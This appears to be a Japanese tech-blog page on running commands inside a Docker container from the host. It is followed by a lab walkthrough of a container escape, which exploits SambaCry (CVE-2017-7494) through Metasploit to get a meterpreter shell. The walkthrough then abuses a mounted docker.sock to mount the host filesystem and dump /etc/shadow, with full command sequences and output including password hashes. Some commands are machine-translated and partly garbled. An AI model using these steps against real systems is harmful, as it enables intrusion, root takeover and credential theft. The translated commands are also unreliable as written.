ホスト上のDockerコンテナ内でシェルまたはプログラムを実行する

ホスト上のDockerコンテナ内でシェルまたはプログラムを実行する

Docker コンテナに繰り返し入って操作することを避けるために、コンテナ内の一連の命令をホストマシンで完了させることができます。

ホスト マシン (著者のホストは Windows 7) 上の centos コンテナー (名前は centos-1) の /usr ディレクトリにある「プリンター」実行可能プログラムを実行すると、プログラムの出力として「123」が印刷されます。

C:\Users\Administrator>docker exec -it centos-1 /bin/bash -c "cd usr && ./printer" 123

成功。

追加知識:安全でない Docker コンテナのデプロイメントを使用してホスト権限を取得する

序文

コンテナを悪用して脱出する方法は数多くあります。この記事では、最も基本的な方法、つまり Docker ソケットを悪用してコンテナを脱出し、ホスト上で root としてコードを実行する方法について説明します。

実験環境のセットアップ

コンテナを使用するため、docker がインストールされている必要があります。

ネットワークの作成

まず、コンテナを作成する Docker ネットワークを作成します。

docker ネットワーク作成 pwnage

脆弱なコンテナを起動する

この例では、SambaCry 脆弱性 (CVE-2017-7494) の影響を受けるコンテナを使用します。脆弱性の詳細については、opsxcq/exploit-CVE-2017-7494 を参照してください。

この脆弱性により、Samba サーバーでリモート コードを実行できるようになります。コンテナーに docker ソケットを追加します。以下は docker を悪用した例です。

docker run --rm -it \
    --name 脆弱な \
    --network-pwnage \
    -v '/var/run/docker.sock:/var/run/docker.sock' \
    脆弱性/CVE-2017-7494

攻撃機の発進

ラボ環境をセットアップしたら、攻撃者のホス​​トをネットワークに追加する必要があります。 Samba Cry リポジトリには利用可能なエクスプロイトがありますが、必要なものをアップロードする方が簡単なので、ここでは Metasploit を使用します。

私はこれ用のイメージを構築しました。以下のコマンドを実行するだけで、ラボ環境に必要なすべてが実行されます。

docker run --rm -it \
    --network-pwnage \
    -v '/usr/bin/docker:/docker:ro' \
    strm/メタスプロイト

読み込みが完了すると、次のインターフェースが表示されます。

攻撃の悪用

情報収集

情報収集は、あらゆる攻撃やテストの重要な部分です。まず、脆弱なコンテナに ping を実行して、現在の接続を確認しましょう。

ping -c 2 脆弱

すべてがうまくいけば、次の出力が表示されます。

msf5 > ping -c 2 脆弱 
[*] exec: ping -c 2 脆弱 
 
PING脆弱(172.20.0.2)56(84)バイトのデータ。
脆弱性のあるpwnage (172.20.0.2) からの 64 バイト: icmp_seq=1 ttl=64 time=0.120 ms
脆弱性のある.pwnage (172.20.0.2) からの 64 バイト: icmp_seq=2 ttl=64 time=0.097 ms
 
--- 脆弱な ping 統計 ---
送信パケット 2 個、受信パケット 2 個、パケット損失 0%、時間 1009 ミリ秒
rtt 最小/平均/最大/平均偏差 = 0.097/0.108/0.120/0.015 ミリ秒

次に、基本的な smb 共有の列挙を実行します。

補助/スキャナ/smb/smb_enumshares を使用する
rhosts を脆弱に設定する
走る

出力は次のようになります。

msf5 > 補助/スキャナ/smb/smb_enumshares を使用する
msf5 補助(スキャナ/smb/smb_enumshares) > rhosts を脆弱に設定
rhosts => 脆弱
msf5 補助(スキャナ/smb/smb_enumshares) > 実行
 
[+] 172.20.0.2:139 - データ - (DS) データ
[+] 172.20.0.2:139 - IPC$ - (I) IPC サービス (泣きサンバ)
[*] 脆弱: - 1 台のホストのうち 1 台をスキャンしました (100% 完了)
[*] 補助モジュールの実行が完了しました

ご覧のとおり、この samba サーバーには data という名前の共有があります。

シェルを入手する

次のステップは、ホスト マシンに対してエクスプロイトを実行してシェルを取得することです。 Metasploit では、この脆弱性は is_known_pipename という名前で、exploit/linux/samba/is_known_pipename にあります。

ホストを攻撃するには、以下のコマンドを実行します。

エクスプロイト/linux/samba/is_known_pipename を使用する
RHOSTを脆弱に設定する
RPORT 445 を設定
ペイロードを設定する linux/x64/meterpreter/bind_tcp
ターゲット3を設定
SMB_FOLDERデータを設定する
SMBUser sambacry を設定する
SMBPassを設定する nosambanocry
悪用する

すべてがうまくいけば、meterpreter シェルが取得されます。次のように:

msf5 > エクスプロイト/linux/samba/is_known_pipename を使用する
msf5 エクスプロイト(linux/samba/is_known_pipename) > RHOST を脆弱に設定する
RHOST => 脆弱
msf5 エクスプロイト(linux/samba/is_known_pipename) > RPORT 445 を設定
レポート => 445
msf5 エクスプロイト (linux/samba/is_known_pipename) > ペイロードを設定 linux/x64/meterpreter/bind_tcp
ペイロード => linux/x64/meterpreter/bind_tcp
msf5 エクスプロイト(linux/samba/is_known_pipename) > TARGET 3 を設定
ターゲット => 3
msf5 エクスプロイト(linux/samba/is_known_pipename) > SMB_FOLDER データの設定
SMB_FOLDER => データ
msf5 エクスプロイト(linux/samba/is_known_pipename) > SMBUser sambacry を設定する
SMBUser => サンバクリ
msf5 エクスプロイト(linux/samba/is_known_pipename) > SMBPass nosambanocry を設定する
SMBPass => いやだー
msf5 エクスプロイト(linux/samba/is_known_pipename) > エクスプロイト
 
[*] 脆弱:445 - パスに場所 \\vulnerable\data\ を使用する
[*] 脆弱性:445 - 共有「データ」のリモートパスの取得
[*] 脆弱:445 - 共有「data」にサーバー側パス「/data」がある
[*] 脆弱:445 - ペイロードを \\vulnerable\data\shyyEPPk.so にアップロードしました
[*] 脆弱性:445 - \\PIPE\/data/shyyEPPk.so を使用してサーバー側パス /data/shyyEPPk.so からペイロードをロードします...
[-] 脆弱:445 - >> STATUS_OBJECT_NAME_NOT_FOUND の読み込みに失敗しました
[*] 脆弱:445 - /data/shyyEPPk.so を使用してサーバー側パス /data/shyyEPPk.so からペイロードをロードします...
[-] 脆弱:445 - >> STATUS_OBJECT_NAME_NOT_FOUND の読み込みに失敗しました
[*] 脆弱な 4444 に対するバインド TCP ハンドラーを開始しました
[*] 脆弱な送信ステージ(816260バイト)
 
メータープレター >

権限昇格

コンテナ内で利用可能な Docker ソケットを悪用して権限を昇格します。 Docker はホストマシン上で root として実行されるため、root 権限も持っています。これを悪用して複数のアクションを実行することができます。たとえば、--privileged オプションを使用すると、多くの拡張機能が提供されます。以下は、Docker の公式ドキュメントから抜粋した説明文です。

デフォルトでは、Docker コンテナには権限がありません。たとえば、コンテナ内でコンテナを起動することはできません。これは、デフォルトではコンテナが他のデバイスにアクセスできないためです。しかし、「特権」を持つことにより、コンテナは他のデバイスにアクセスできるようになります。オペレーターが docker run --privileged を実行すると、Docker はホスト上のすべてのデバイスにアクセスできるようになります。同時に、Docker は apparmor または selinux でいくつかの設定を行い、コンテナがコンテナ外で実行されているデバイスに簡単にアクセスできるようにします。

--device オプションを使用してデバイスにアクセスできます。ただし、この例では、toor ファイル システム (/) をコンテナーにマップしてアクセスします。

このコンテナには Docker クライアントがないため、次に行う必要があるのは、ターゲット コンテナに Docker クライアントとその依存関係を設定することです。次のコマンドを実行するだけで、これらすべてを実行できます。

アップロード /docker /docker
/usr/lib/x86_64-linux-gnu/libltdl.so.7 をアップロードします /usr/lib/x86_64-linux-gnu/libltdl.so.7
chmod 777 /docker
chmod +x /docker
メータープレター > アップロード /docker /docker
[*] アップロード中: /docker -> /docker
[*] アップロード済み -1.00 B / 36.36 MiB (0.0%): /docker -> /docker
[*] アップロード済み -1.00 B / 36.36 MiB (0.0%): /docker -> /docker
[*] アップロード済み -1.00 B / 36.36 MiB (0.0%): /docker -> /docker
[*] アップロード済み -1.00 B / 36.36 MiB (0.0%): /docker -> /docker
[*] アップロード済み -1.00 B / 36.36 MiB (0.0%): /docker -> /docker
[*] アップロード済み : /docker -> /docker
メータープリター > /usr/lib/x86_64-linux-gnu/libltdl.so.7 をアップロード /usr/lib/x86_64-linux-gnu/libltdl.so.7
[*] アップロード中: /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7
[*] 38.47 KiB のうち -1.00 B (-0.0%) をアップロードしました: /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7
[*] アップロードしました: /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7
メータープレター > chmod 777 /docker
メータープリター > chmod +x /docker
メータープレター >

これで、docker を使用してホスト マシン上のファイル システムにアクセスできるようになりました。 \

-f /docker -i -H -c -a "run --rm -v '/:/rootfs' debian:9.2 cat /rootfs/etc/shadow" を実行します。

ローカル ユーザーのハッシュをダンプしてみましょう。出力は次のようになります。

メータープリター > 実行 -f /docker -i -H -c -a "run --rm -v '/:/rootfs' debian:9.2 cat /rootfs/etc/shadow"
プロセス 113 が作成されました。
チャンネル13が作成されました。
ルート:$1$UFKdtFGw$qp29y1qGWit/vnvIG0uSr1:17488:0:99999:7:::
デーモン:*:17488:0:99999:7:::
ビン:*:17488:0:99999:7:::
sys:*:17488:0:99999:7:::
同期:*:17488:0:99999:7:::
ゲーム:*:17488:0:99999:7:::
男:*:17488:0:99999:7:::
lp:*:17488:0:99999:7:::
メール:*:17488:0:99999:7:::
ニュース:*:17488:0:99999:7:::

ホスト上の docker コンテナ内でシェルまたはプログラムを実行する方法に関する上記の記事が、私が皆さんに共有できるすべてです。この記事が皆さんの参考になれば幸いです。また、123WORDPRESS.COM を応援していただければ幸いです。

以下もご興味があるかもしれません:
  • Dockerはコンテナとホスト間でのシェルコマンドのシームレスな呼び出しを可能にします
  • Dockerコンテナにホストディレクトリへの書き込み権限がない場合の解決策
  • Dockerコンテナがホストポートにアクセスできない場合の解決策
  • Dockerコンテナ内でホストDocker操作を呼び出して実行する
  • dockerコンテナがIP経由でホストマシンにアクセスできない問題を解決する方法の詳細な説明
  • Dockerコンテナを使用してホストネットワークにアクセスする方法
  • Dockerコンテナとホストマシン間の8時間の差の問題を解決する

<<:  JavaScript でよく使われる 5 つのオブジェクト

>>:  モバイルデバイス用のメタタグ設定の完全なリスト

ブログ    

推薦する

dockerを使用してTomcatをデプロイし、Skywalkingに接続する

目次1. 概要2. dockerを使用してTomcatをデプロイし、Skywalkingに接続する要...

Ubuntu 18.04はルート権限を取得し、ルートユーザーとしてログインします

事前に書いておきます:次の手順では、ターミナルにコマンドを入力する必要があります。コンピューターでブ...

JSはタイムラインの自動再生を実現する

最近、次のような効果を実装しました。再生ボタンをクリックするとタイムラインの再生が開始され、一時停止...

CSS3+ベジェ曲線でスケーラブルな入力検索ボックス効果を実現

では、早速レンダリングを見てみましょう。 コア コードはtransition: cubic-bezi...

テーブルレイアウトの長所と短所、そして推奨されない理由

テーブルの欠点1. テーブルは他の HTML タグよりも多くのバイトを占有します。 (ダウンロード時...

JavaScript における 3 つの for ループ ステートメントの使用の概要 (for、for...in、for...of)

序文JS に触れるすべての開発者は、必然的に for ループを扱うことになります。結局のところ、fo...

MySQL データ定義言語 DDL の基本ステートメント

MySQL DDL ステートメントDDL、DMLとは何ですか。 DDL はデータ定義言語であり、CR...

CentOS7 ファイアウォールとポート関連コマンドの紹介

目次1. ファイアウォールの現在の状態を確認する2. ファイアウォールサービスを開始する3. ファイ...

LinuxでRPMを使用してmysql5.7.17をインストールする

LinuxでのMySQL5.7 rpmのインストール方法を参考までに記録します。具体的な内容は以下の...

単一テーブルのMySQLバックアップとリストアに関する簡単な説明

A. MySQLバックアップツールxtrabackupのインストール1. Percona 公式 xt...

適応幅(パーセンテージ)に応じて Div の高さを調整する純粋な CSS

今日のレスポンシブ レイアウトの要件では、サイズを自動的に調整できる多くの要素で高さと幅の適応を実現...

MySQL 8の新機能におけるグローバルパラメータの永続性の詳細な説明

目次序文グローバルパラメータの永続性最後に要約する参考資料:序文2018 年に MySQL 8.0....

Vueにおける混合継承の詳細な説明

目次混合継承の影響: 1. 継承Vue.extend メソッド​プロパティを拡張する2. ミックスイ...

HTML要素にフォーカスを設定する方法

コードをコピーコードは次のとおりです。 <本文<フォームアクション="&quo...

Vue を使用してパブリック アカウントの Web ページを開発する方法

目次プロジェクトの背景始めるvue-cliでプロジェクトを作成するモバイル適応についてnormali...